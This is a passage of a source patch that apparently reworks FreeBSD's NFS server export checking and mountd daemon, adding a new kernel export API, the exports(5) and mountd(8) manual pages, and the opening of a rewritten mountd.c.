/* _KERNEL */ + +#endif /* !_NFSSERVER_NFS_EXPORT_H_ */ diff -ruN nfsserver.orig/nfs_srvsubs.c nfsserver/nfs_srvsubs.c --- nfsserver.orig/nfs_srvsubs.c 2008-02-11 12:46:20.000000000 +0200 +++ nfsserver/nfs_srvsubs.c 2009-05-26 20:10:17.000000000 +0300 @@ -71,6 +71,7 @@ #include #include #include +#include #include #include @@ -551,6 +552,7 @@ callout_init(&nfsrv_callout, CALLOUT_MPSAFE); NFSD_UNLOCK(); nfsrv_timer(0); + nfse_init(); error = syscall_register(&nfssvc_offset, &nfssvc_sysent, &nfssvc_prev_sysent); @@ -570,6 +572,7 @@ callout_drain(&nfsrv_callout); nfsrv_destroycache(); /* Free the server request cache */ mtx_destroy(&nfsd_mtx); + nfse_deinit(); break; default: error = EOPNOTSUPP; @@ -1101,13 +1104,20 @@ fhp = &nfs_pub.np_handle; } - mp = vfs_getvfs(&fhp->fh_fsid); - if (!mp) - return (ESTALE); - vfslocked = VFS_LOCK_GIANT(mp); - error = VFS_CHECKEXP(mp, nam, &exflags, &credanon); - if (error) - goto out; + if (nfse_api_used) { + error = nfse_check(fhp, nam, &mp, cred, rdonlyp); + if (error != 0) + return (error); + vfslocked = VFS_LOCK_GIANT(mp); + } else { + mp = vfs_getvfs(&fhp->fh_fsid); + if (!mp) + return (ESTALE); + vfslocked = VFS_LOCK_GIANT(mp); + error = VFS_CHECKEXP(mp, nam, &exflags, &credanon); + if (error) + goto out; + } error = VFS_FHTOVP(mp, &fhp->fh_fid, vpp); if (error) goto out; @@ -1124,19 +1134,21 @@ } } #endif - /* - * Check/setup credentials. - */ - if (cred->cr_uid == 0 || (exflags & MNT_EXPORTANON)) { - cred->cr_uid = credanon->cr_uid; - for (i = 0; i < credanon->cr_ngroups && i < NGROUPS; i++) - cred->cr_groups[i] = credanon->cr_groups[i]; - cred->cr_ngroups = i; - } - if (exflags & MNT_EXRDONLY) - *rdonlyp = 1; - else - *rdonlyp = 0; + if (!nfse_api_used) { + /* + * Check/setup credentials. + */ + if (cred->cr_uid == 0 || (exflags & MNT_EXPORTANON)) { + cred->cr_uid = credanon->cr_uid; + for (i = 0; i < credanon->cr_ngroups && i < NGROUPS; i++) + cred->cr_groups[i] = credanon->cr_groups[i]; + cred->cr_ngroups = i; + } + if (exflags & MNT_EXRDONLY) + *rdonlyp = 1; + else + *rdonlyp = 0; + } if (!lockflag) VOP_UNLOCK(*vpp, 0, td); diff -ruN nfsserver.orig/nfs_syscalls.c nfsserver/nfs_syscalls.c --- nfsserver.orig/nfs_syscalls.c 2008-08-02 12:59:25.000000000 +0300 +++ nfsserver/nfs_syscalls.c 2009-06-01 12:22:43.000000000 +0300 @@ -70,6 +70,7 @@ #include #include #include +#include #include #include @@ -143,7 +144,10 @@ "nfsd init", 0); } NFSD_UNLOCK(); - if (uap->flag & NFSSVC_ADDSOCK) { + if (uap->flag & NFSSVC_EXPORT) { + nfse_api_used = 1; + error = nfse_cmds(td, (void *)uap->argp); + } else if (uap->flag & NFSSVC_ADDSOCK) { error = copyin(uap->argp, (caddr_t)&nfsdarg, sizeof(nfsdarg)); if (error) return (error); ######################################################################### src/usr.sbin/mountd (this is not a diff): ######################################################################### diff -ruN empty/Makefile mountd/Makefile --- empty/Makefile 1970-01-01 03:00:00.000000000 +0300 +++ mountd/Makefile 2009-07-17 13:39:38.000000000 +0300 @@ -0,0 +1,15 @@ +# From: @(#)Makefile 8.3 (Berkeley) 1/25/94 +# $FreeBSD: src/usr.sbin/mountd/Makefile,v 1.17 2006/05/23 17:10:17 rodrigc Exp $ + +PROG= mountd +SRCS= mountd.c mountd_conf.c mountd_xdr.c +MAN= exports.5 netgroup.5 mountd.8 + +DEBUG_FLAGS= -DDEBUG_MEMORY_LEAK + +WARNS?= 4 + +DPADD= ${LIBUTIL} +LDADD= -lutil + +.include diff -ruN empty/exports.5 mountd/exports.5 --- empty/exports.5 1970-01-01 03:00:00.000000000 +0300 +++ mountd/exports.5 2009-06-01 12:12:57.000000000 +0300 @@ -0,0 +1,477 @@ +.\" Copyright (c) 1989, 1991, 1993 +.\" The Regents of the University of California. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 4. Neither the name of the University nor the names of its contributors +.\" may be used to endorse or promote products derived from this software +.\" without specific prior written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +.\" SUCH DAMAGE. +.\" +.\" @(#)exports.5 8.3 (Berkeley) 3/29/95 +.\" $FreeBSD: src/usr.sbin/mountd/exports.5,v 1.32 2008/11/03 10:38:00 dfr Exp $ +.\" +.Dd April 27, 2009 +.Dt EXPORTS 5 +.Os +.Sh NAME +.Nm exports +.Nd configuration file for +.Xr mountd 8 +.Sh SYNOPSIS +.Nm +.Sh DESCRIPTION +The +.Nm +file specifies configuration for the +.Xr mountd 8 +utility. +See +.%T "Network File System Protocol Specification" , +RFC1094, Appendix A, +.%T "NFS: Network File System Version 3 Protocol Specification" , +RFC1813, Appendix I, +.%T "WebNFS Client Specification" , +RFC2054 and +.%T "WebNFS Server Specification" , +RFC2055. +.Pp +The +.Nm +file consists of lines. +All characters after a +.Ql # +character (including this character) are ignored and considered as a comment. +A long line may be split over several lines by ending all but the +last line with a backslash +.Pq Ql \e . +Any character can be represented as a backslash +.Pq Ql \e +followed by its three digits octal code (this can be used for representing +a character that is a part of the syntax format). +.Pp +There are two types of configuration lines. +A line of the first type starts with +.Dq options: +and specifies global options that must be given before all other lines. +A line of the second type starts with absolute path name followed by +export specifications for the given path name. +This path name will be exported only if this path name is or will be +a mount point for some file system and there is no mistake in any +line related to this path name. +If a file system is exported to some client, then all its subdirectories +and files (that belong to this file system) are also exported to this client. +.Pp +Each option starts with +.Ql - +followed by its name +.No ( Fl opt ) . +If an option has an argument, then an option's name and its argument +should be separated by white space +.Sm off +.No ( Fl opt No \ Sy arg ) +.Sm on +or by a +.Ql = +character +.Sm off +.No ( Fl opt No = Sy arg ) . +.Sm on +Options can be grouped using +.Ql \&, +(in this case only the first option must have +.Ql - +before its name and options' names and their arguments should be separated by a +.Ql = +character). +.Pp +Available options: +.Pp +.Bl -tag -width indent +.Sm off +.It Fl sec Li = Sy flavor1 Op Sy :flavor2:flavor3... +.Sm on +Specify a colon separated list of acceptable security flavors to be +used for remote access. +Supported security flavors are sys, krb5, krb5i and krb5p. +If multiple flavors are listed, they should be ordered with the most +preferred flavor first. +If this option is not present, +the default security flavor list of just sys is used. +This option can be used as a global option, in this case its value +will be used as a default value for all export specifications. +.It Fl ro +Specify that the file system should be exported read-only (default read/write). +.It Fl rw +Specify that the file system should be exported read-write (this is default). +.Sm off +.It Fl maproot No = Sy user Op Sy :group1:group2... +.Sm on +The credential of the specified user is used for remote access by root. +The user may be specified by name or number. +The colon separated list is used to specify the precise credential +to be used for remote access by root. +The elements of the list may be either group names or numbers. +Note that +.Sy user: +should be used to distinguish a credential containing no groups from +a complete credential for that user. +.Sm off +.It Fl mapall No = Sy user Op Sy :group1:group2:... +.Sm on +The credential of the specified user is used for remote access by all +users (including root). +In the absence of +.Fl maproot +and +.Fl mapall +options, remote accesses by root will result in using a credential of +.No -2:-2 , +all other users will be mapped to their remote credential. +This option is mutually exclusive with +.Fl maproot +option. +.It Fl public +.Tn WebNFS +exports strictly according to the RFC 2054 and RFC 2055 can be done with +this option. +However, this option in itself allows read-write access to all files in +the file system (default behaviour), not requiring reserved ports and +not remapping user credentials. +It is only provided to conform to the specification, and should normally +not be used. +.It Fl webnfs +Use this flag for a +.Tn WebNFS +export, which implies +.Fl public , +.Sm off +.Fl mapall No = Sy -2:-2 +.Sm on +and +.Fl ro . +Note that only one file system can be +.Tn WebNFS +exported on a server. +.Sm off +.It Fl index No = Pa file +.Sm on +Specify a file whose handle will be returned if a directory is looked up +using the public filehandle +.Pq Tn WebNFS . +This is to mimic the behaviour of +.Tn URL Ns s . +If this option is not specified, a directory filehandle will be returned +as usual. +This option only makes sense for +.Tn WebNFS . +.It Fl no_mntproc_dump +Disable +.Tn MOUNT +protocol's procedure +.Tn DUMP +(return mount entries) +for +.Tn NFSv2/3 . +This option can be used as a global option, in this case it will be used +for all file systems. +If it is used for a file system together with the +.Fl nospec +option, then it is used for all mounts for this file system. +Else it is used for hosts that match particular export specification. +.It Fl no_mntproc_export +Disable +.Tn MOUNT +protocol's procedure +.Tn EXPORT +(return export list). +This option can be used as a global option, in this case it will be used +for all file systems. +If it is used for a file system together with the +.Fl nospec +option, then it is used for all export specifications for this file system. +Else it is used for particular export specification. +.It Fl nospec +Specify that this line does not have any address specification (including +the default one). +.It Fl quiet +If a directory path name given at the beginning of a line is not +a mount point, then all its settings will be ignored and by default +.Xr mountd 8 +will log message about this. +This option allows to suppress these messages. +.Sm off +.It Fl Oo ! Oc Cm host No = Sy hostname +.Sm on +Specify that corresponding file system is exported to this host, that +can be given by name or by address. +All associated addresses with the given hostname are added to this line. +.Sm off +.It Fl Oo ! Oc Cm network No = Sy netname Op Li / Sy prefixlength +.Sm on +Specify that corresponding file system is exported to this network. +If the prefix length is not specified and +.Fl mask +option is not used, then it will default to the mask for that +.Tn IPv4 +network class (A, B or C). +Also a network can be specified as a +.Dq network name +as defined in the +.Pa /etc/networks +file (see +.Xr networks 5 ) . +.Sm off +.It Fl mask No = Sy netmask +.Sm on +Specify a network mask for previous +.Fl network +option (that should not have a prefix length). +The given network mask and network must belong to the same address family. +Also a netmask can be specified as a +.Dq network name . +.El +.Pp +Options without +.Ql - : +.Bl -tag -width indent +.It Oo ! Oc Ns Sy hostname +Specify that corresponding file system is exported to this hostname. +All hostnames are checked to see if they are +.Dq netgroup +names as defined in the +.Pa /etc/netgroup +file (see +.Xr netgroup 5 ) +first and are assumed to be hostnames otherwise. +Using the full domain specification for a hostname can normally +circumvent the problem of a host that has the same name as a netgroup. +All associated addresses with this hostname are added to this line. +.El +.Pp +Export specifications for one file system can be written in several lines. +Options +.Fl host , +.Fl network +and +.Sy hostname +can be used multiple times. +After any address specification it is possible to use already specified +option and its value will overwrite previous option's value. +.Pp +Before any address specification it is possible to use the +.Ql \&! +character, that means +.Dq deny access +for all clients that match this address specification. +.Pp +If a configuration line for some file system does not have any address +specification, then this line defines default export for all other hosts +and should be used only when the file system contains public information. +.Pp +The +.Xr nfsd 8 +and +.Xr mountd 8 +always choose the most specific address specification (longest prefix match) +for a client's address and uses options specified for the chosen most +specific address specification. +.Pp +The +.Xr mountd 8 +utility can be made to re-read the +.Nm +file by sending it a hangup signal as follows: +.Bd -literal -offset indent +/etc/rc.d/mountd reload +.Ed +.Pp +After sending the sighup signal, check the +.Xr syslogd 8 +output to see whether +.Xr mountd 8 +logged any parsing errors in the +.Nm +file. +.Pp +Alternatively +the +.Xr mountd 8 +utility can be made to re-read the +.Nm +file by sending it a +.Ar reload +command. +Read the +.Xr mountd 8 +for detail information. +.Sh FILES +.Bl -tag -width /etc/exports -compact +.It Pa /etc/exports +default file with the list of exported file systems +.El +.Sh EXAMPLES +Path names +.Pa /usr , /u , /a , /b +and +.Pa /u2 +are local file system mount points. +.Pp +.Bd -literal -offset indent +/usr -maproot 0:10 friends +/usr -maproot daemon grumpy.cis.uoguelph.ca 131.104.48.16 +/usr -ro -mapall nobody +.Ed +.Pp +The file system rooted at +.Pa /usr +is exported read-write to hosts in +.Dq friends +where +.Dq friends +is specified in the netgroup file with users mapped to their +remote credentials and root mapped to +.Tn UID +0 and +.Tn GID +10. +It is exported read-write to +.Li 131.104.48.16 +and +.Li grumpy.cis.uoguelph.ca +with users mapped to their remote credentials and +root mapped to the user and groups associated with +.Dq daemon ; +it is exported to the rest of the world as read-only with +all users mapped to the user and groups associated with +.Dq nobody . +.Pp +.Bd -literal -offset indent +/u -maproot bin: -network 131.104.48 -mask 255.255.255.0 +.Ed +.Pp +The file system rooted at +.Pa /u +is exported to all hosts on the subnetwork +.Li 131.104.48 +with root mapped to the +.Tn UID +for +.Dq bin +and with no group access. +.Pp +.Bd -literal -offset indent +/a -network 192.168.0/24 +/a -network 3ffe:1ce1:1:fe80::/64 +.Ed +.Pp +The file system rooted at +.Pa /a +is exported read-write to the network +.Li 192.168.0.0 , +with a netmask of +.Li 255.255.255.0 . +It is also exported read-write to the +.Tn IPv6 +network +.Li 3ffe:1ce1:1:fe80:: +address, using the upper 64 bits as the prefix. +Note that, unlike with +.Tn IPv4 +network addresses, the specified network +address must be complete, and not just contain the upper bits. +.Pp +.Bd -literal -offset indent +/u2 -maproot root friends +/u2 -network cis-net -mask cis-mask +.Ed +.Pp +The file system rooted at +.Pa /u2 +is exported read-write to the hosts in +.Dq friends +with root mapped to +.Tn UID +and groups associated with +.Dq root ; +it is exported read-write to all hosts on network +.Dq cis-net +with mask +.Dq cis-mask +(both are specified as +.Dq network names ) . +.Pp +.Bd -literal -offset indent +/cdrom -quiet,ro -network 192.168.33.0 -mask 255.255.255.0 +.Ed +.Pp +The file system rooted at +.Pa /cdrom +will be exported read-only to the entire network 192.168.33.0/24. +Since +.Pa /cdrom +is the conventional mountpoint for a CD-ROM device, this export will +fail if no CD-ROM medium is currently mounted there since that line +would then attempt to export a subdirectory of the root file system +which is not allowed. +The +.Fl quiet +option will then suppress the error message for this condition that +would normally be syslogged. +As soon as an actual CD-ROM is going to be mounted, the kernel will notify +.Xr mountd 8 +about this event, and the +.Pa /cdrom +file system will be exported as intended. +.Pp +.Bd -literal -offset indent +/private -sec krb5i +/secret -sec krb5p +.Ed +.Pp +The file system rooted at +.Pa /private +will be exported read-write using Kerberos 5 authentication and will require +integrity protected messages for all accesses. +The file system rooted at +.Pa /secret +will also be exported read-write using Kerberos 5 authentication and all +messages used to access it will be encrypted. +.Pp +.Bd -literal -offset indent +/b -ro -mapall nobody -host 10.1.1.1 -rw -host 10.2.2.2 +.Ed +.Pp +The file system rooted at +.Pa /b +is exported read-only to +.Li 10.1.1.1 +and with read-write access to +.Li 10.2.2.2 +with all users mapped to the user and groups associated with +.Dq nobody . +The second host inherit the +.Fl mapall +option. +.Sh SEE ALSO +.Xr netgroup 5 , +.Xr mountd 8 , +.Xr nfsd 8 , +.Xr showmount 8 diff -ruN empty/mountd.8 mountd/mountd.8 --- empty/mountd.8 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd.8 2009-06-02 18:01:58.000000000 +0300 @@ -0,0 +1,304 @@ +.\" Copyright (c) 1989, 1991, 1993 +.\" The Regents of the University of California. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 4. Neither the name of the University nor the names of its contributors +.\" may be used to endorse or promote products derived from this software +.\" without specific prior written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +.\" SUCH DAMAGE. +.\" +.\" @(#)mountd.8 8.4 (Berkeley) 4/28/95 +.\" $FreeBSD: src/usr.sbin/mountd/mountd.8,v 1.31 2007/10/20 11:25:34 matteo Exp $ +.\" +.Dd April 27, 2009 +.Dt MOUNTD 8 +.Os +.Sh NAME +.Nm mountd +.Nd configure export specifications for +.Xr nfsd 8 +and service +.Tn NFSv2/3 MOUNT +requests +.Sh SYNOPSIS +.Nm +.Op Fl 2dlnrt +.Op Fl c Ar command +.Op Fl h Ar bindip +.Op Fl p Ar port +.Op Ar exportsfile ... +.Sh DESCRIPTION +The +.Nm +utility configures export specifications for +.Xr nfsd 8 +and is the server for +.Tn NFSv2/3 MOUNT +requests from client machines. +See +.%T "Network File System Protocol Specification" , +RFC1094, Appendix A, +.%T "NFS: Network File System Version 3 Protocol Specification" , +RFC1813, Appendix I and +.%T "WebNFS Server Specification" , +RFC2055. +.Pp +The following options are available: +.Bl -tag -width indent +.It Fl 2 +Allow the administrator to force clients to use only the +.Tn NFSv2 +protocol to mount file systems from this server. +.It Fl d +.Nm +will not detach from the controlling terminal and will print +log and debugging messages to standard error stream. +.It Fl c Ar command +Send a command to the running +.Nm . +The +.Ar reload +command reloads +.Xr exports 5 +files. +The +.Ar flush +command flushes all export specifications for all file systems. +Other commands change export specifications for file systems and can be +specified multiple times: +.Ar add +new export specification, +.Ar update +existent export specification, +.Ar delete +existent export specification, +.Ar flush +all export specifications for the given file system, +.Ar file +means to read commands from the given file. +The +.Ar add , +.Ar update +and +.Ar delete +commands accept option +.Fl f Ar filename , +in this case all export specifications from the given file are +added or deleted respectively. +.It Fl h Ar bindip +Specify specific +.Tn IP +addresses to bind to for +.Tn TCP +and +.Tn UDP +requests. +This option may be specified multiple times. +If no +.Fl h +option is specified, +.Nm +will accept connections on any interface with +.Tn IP +address. +Note that when specifying +.Tn IP +addresses with +.Fl h , +.Nm +will automatically add +.Li 127.0.0.1 +and +.Li ::1 +to the list. +.It Fl l +Cause all succeeded client requests to be logged. +.It Fl n +Allow +.Tn MOUNT +protocol's procedures +.Tn MNT , +.Tn UMNT +and +.Tn UMNTALL +requests from unprivileged ports to be served. +This should only be specified if there are clients that require it. +It will automatically clear the vfs.nfsrv.nfs_privport sysctl flag, which +controls if the kernel will accept +.Tn NFS +requests from reserved ports only. +.It Fl r +Allow +.Tn MOUNT +protocol's procedure +.Tn MNT +requests for regular files to be served. +Although this seems to violate the +.Tn MOUNT +protocol specification, some diskless workstations do +.Tn MNT +requests for their swapfiles and expect them to be regular files. +.It Fl p Ar port +Force +.Nm +to bind to the specified port, for both +.Dv AF_INET +and +.Dv AF_INET6 +address families. +This is typically done to ensure that the port which +.Nm +binds to is a known quantity which can be used in firewall rulesets. +If +.Nm +cannot bind to this port, an appropriate error will be recorded in +the system log, and the daemon will then exit. +.It Fl t +Parse +.Xr exports 5 +files or commands in +.Fl c +options and output configuration to the standard output. +.It Ar exportsfile +Specify an alternate location +for the +.Xr exports 5 +file. +More than one file name can be specified. +All given files must exist in the file system. +Also its possible to specify directory names, finish their names with slash +.Pq Ql / . +In this case all files from the given directories will be used. +Any given directory can be absent in the file system. +.El +.Pp +When +.Nm +is started, it parses +.Xr exports 5 +files and loads export specifications into the kernel only for file systems +that have correct configuration. +After changing the +.Xr exports 5 +file a hangup signal should be sent to the +.Nm +to get it to reload export specifications and forget all changes in +export specifications made by commands (alternative method is the +.Ar reload +command). +After sending the sighup signal check log messages to see if +.Nm +logged any parsing errors. +.Pp +.Nm +loads and changes export specifications atomically, so reloading of +.Xr exports 5 +files or applying commands to the current configuration will not cause +temporal failures for clients that currently are using and are allowed +to use the same exported file systems in the new configuration. +.Pp +If some command in the +.Fl c +option cannot be applied to the current configuration, then all given +commands will not be applied to the current configuration. +A set of commands can be considered as one transaction with changes. +.Pp +If +.Nm +detects that the running kernel does not include +.Tn NFS +support, it will attempt to load a loadable kernel module containing +.Tn NFS +code, using +.Xr kldload 2 . +If this fails, or no +.Tn NFS KLD +was available, +.Nm +exits with an error code. +.Pp +While servicing requests and parsing +.Xr exports 5 +files +.Nm +can exit with an error code only if some critical error occurs +(such as not enough memory error or some file cannot be closed). +.Sh FILES +.Bl -tag -width /var/run/mountd.pid -compact +.It Pa /etc/exports +default file with the list of exported file systems +.It Pa /var/run/mountd.pid +the +.Tn PID +of the currently running +.Nm +.It Pa /var/run/mountd.socket +local domain +.Tn TCP +socket for control messages +.It Pa /var/db/mountdtab +the current list of remote mounted file systems when +.Nm +is not running +.El +.Sh EXIT STATUS +The +.Nm +utility exits 0 on success, and >0 if an error occurs. +.Sh EXAMPLES +Test two files and files from the directory for correctness: +.Pp +.Dl "mountd -t export-lan exports-all /usr/local/etc/exports/" +.Pp +Test commands (no command is sent): +.Pp +.Dl "mountd -t -c 'add /fs -ro host1' -c 'file commands.txt' +.Pp +Add export specification: +.Pp +.Dl "mountd -c 'add /fs -rw host1 host2'" +.Pp +Change export specifications: +.Pp +.Dl "mountd -c 'delete /fs host1' -c 'update /fs -ro host2'" +.Pp +Flush export specifications and add new ones from the file: +.Pp +.Dl "mountd -c 'flush /fs' -c 'add -f /etc/fs-exports' +.Pp +Reload +.Xr exports 5 +files (unlike sending the sighup signal this command is synchronous, +the sender always knows when a new settings were loaded into the kernel): +.Pp +.Dl "mountd -c reload" +.Sh SEE ALSO +.Xr nfsstat 1 , +.Xr kldload 2 , +.Xr exports 5 , +.Xr nfsd 8 , +.Xr rpcbind 8 , +.Xr showmount 8 +.Sh HISTORY +The +.Nm +utility first appeared in +.Bx 4.4 . diff -ruN empty/mountd.c mountd/mountd.c --- empty/mountd.c 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd.c 2009-06-26 14:12:38.000000000 +0300 @@ -0,0 +1,3084 @@ +/*- + * Copyright (c) 2009 Andrey Simonenko + * Copyright (c) 1989, 1993 + * The Regents of the University of California. + * All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Herb Hasler and Rick Macklem at The University of Guelph. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char copyright[] = +"@(#) Copyright (c) 1989, 1993\n\ + The Regents of the University of California. All rights reserved.\n"; +#endif /*not lint*/ + +#if 0 +#ifndef lint +static char sccsid[] = "@(#)mountd.c 8.15 (Berkeley) 5/1/95"; +#endif /*not lint*/ +#endif + +#include +__FBSDID("$FreeBSD: src/usr.sbin/mountd/mountd.c,v 1.98 2008/11/03 10:38:00 dfr Exp $"); + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "mountd.h" +#include "mountd_conf.h" +#include "mountd_xdr.h" +#include "pathnames.h" + +#define KLD_NFSSERVER "nfsserver" + +#define MNTLISTFILE _PATH_RMOUNTLIST + +#define CTL_TIMEOUT 30 /* Timeout in seconds for command. */ + +char have_ipv4 = 0; /* Set if have IPv4 bound socket. */ +char have_ipv6 = 0; /* Set if have IPv6 bound socket. */ + +char no_mntproc_dump; /* Global -no_mntproc_dump option. */ +char no_mntproc_export; /* Global -no_mntproc_export option. */ + +char syserr_flag = 0; /* Set if a system error occurred. */ + +struct fs_exp_list fs_exp_list1; /* These two lists keep new and old */ +struct fs_exp_list fs_exp_list2; /* configuration. */ +struct fs_exp_list *fs_exp_list; /* Current configuration. */ +struct fs_exp_list *fs_exp_list_prev; /* Previous configuration. */ +struct fs_exp_list fs_exp_list_update; /* Updates to configuration. */ + +char *index_webnfs = NULL; /* Index file for WebNFS. */ + +struct ctl_cmd_hdr ctl_cmd_hdr; /* Control command header. */ +void *ctl_cmd_buf; /* Control command buffer. */ + +char subpath_empty[] = ""; /* No subpath (to simplify code). */ + +char test_conf = 0; /* -t */ + +static char force_nfsv2 = 0; /* -2 */ +static char log_cli_reqs = 0; /* -l */ +static char dir_only = 1; /* -r */ + +static int resvport_only = 1; /* -n */ +static in_port_t svcport = 0; /* -p port */ + +static int ctl_listen_fd = -1; /* Control listen socket descriptor. */ +static char ctl_socket_bound = 0; /* Non-zero if socket file is bound. */ + +/* + * netconfig(5) file has network configuration for RPC. + * This structure has configuration for one network ID. + */ +struct netconf { + const char *netid; /* Network ID. */ + const struct netconfig *nc; /* Corresponding netconfig. */ + int visible; /* NC_VISIBLE flag. */ +}; + +#define NETID_UDP 0 +#define NETID_TCP 1 +#define NETID_UDP6 2 +#define NETID_TCP6 3 + +/* + * Table of all supported network configurations. + */ +static struct netconf netconf_tbl[] = { + [NETID_UDP] = { .netid = "udp", .nc = NULL }, + [NETID_TCP] = { .netid = "tcp", .nc = NULL }, + [NETID_UDP6] = { .netid = "udp6", .nc = NULL }, + [NETID_TCP6] = { .netid = "tcp6", .nc = NULL } +}; + +#define NC_TBL_SIZE (sizeof(netconf_tbl) / sizeof(netconf_tbl[0])) + +/* + * Union for remembering registered services. + */ +static union { + uint8_t net[4]; + uint32_t any; +} rpcmnt_reg[2]; + +/* + * Requirements of RPC mount procedure. + */ +struct mntproc_req { + int priv; /* Requires privilege port. */ + const char *name; /* Name of this procedure. */ +}; + +/* + * Table of RPC mount procedures. + * NFSv2 and NFSv3 define RPC mount procedures numbers (both standards + * use the same numbers for the same procedures, NULLPROC has 0 number, + * RPCMNT_* have numbers 1, 2, 3, 4, 5). + */ +static const struct mntproc_req mntproc_req[] = { + [NULLPROC] = { .priv = 0, .name = "null" }, + [RPCMNT_MOUNT] = { .priv = 1, .name = "mnt" }, + [RPCMNT_DUMP] = { .priv = 0, .name = "dump" }, + [RPCMNT_UMOUNT] = { .priv = 1, .name = "umnt" }, + [RPCMNT_UMNTALL] = { .priv = 1, .name = "umntall" }, + [RPCMNT_EXPORT] = { .priv = 0, .name = "export" } +}; + +#define RPCMNT_MAX_NUMBER RPCMNT_EXPORT + +/* Pipe for IPC from asynchronous signals handlers. */ +static int sig_pipe[2]; + +/* Flags for signal handles. */ +static volatile sig_atomic_t signal_flag = 0; +static volatile sig_atomic_t reconf_flag = 0; +static volatile sig_atomic_t shutdown_flag = 0; + +#define EXPSPEC_ES_NUM 20 /* Number of export specifications + per one nfssvc() system call. */ + +#define EXPSPEC_TO_SLEEP 3 /* Sleep this number of seconds + after transaction timeout. */ + +#define EXPSPEC_RET_OK 0 /* Function succeeded. */ +#define EXPSPEC_RET_FAILED 1 /* Function failed. */ +#define EXPSPEC_RET_TIMEOUT 2 /* Commands transaction timeout. */ + +#define EXPSPEC_FN_CLEAR 0 /* Clear all export specifications. */ +#define EXPSPEC_FN_RELOAD 1 /* Load new configuration. */ +#define EXPSPEC_FN_UPDATE 2 /* Update current configuration. */ +#define EXPSPEC_FN_EVENT 3 /* Handle VFS events. */ + +static int expspec_clear(void); +static int expspec_reload(void); +static int expspec_update(void); +static int expspec_event(void); + +/* + * Table of functions that work with export specifications in nfsserver. + * Do not call expspec_*() functions directly outside of expspec_*() + * functions, use the expspec_func() function instead. + */ +static struct { + int (*func)(void); /* Pointer to function. */ + const char *name; /* Function name. */ +} expspec_func_tbl[] = { + 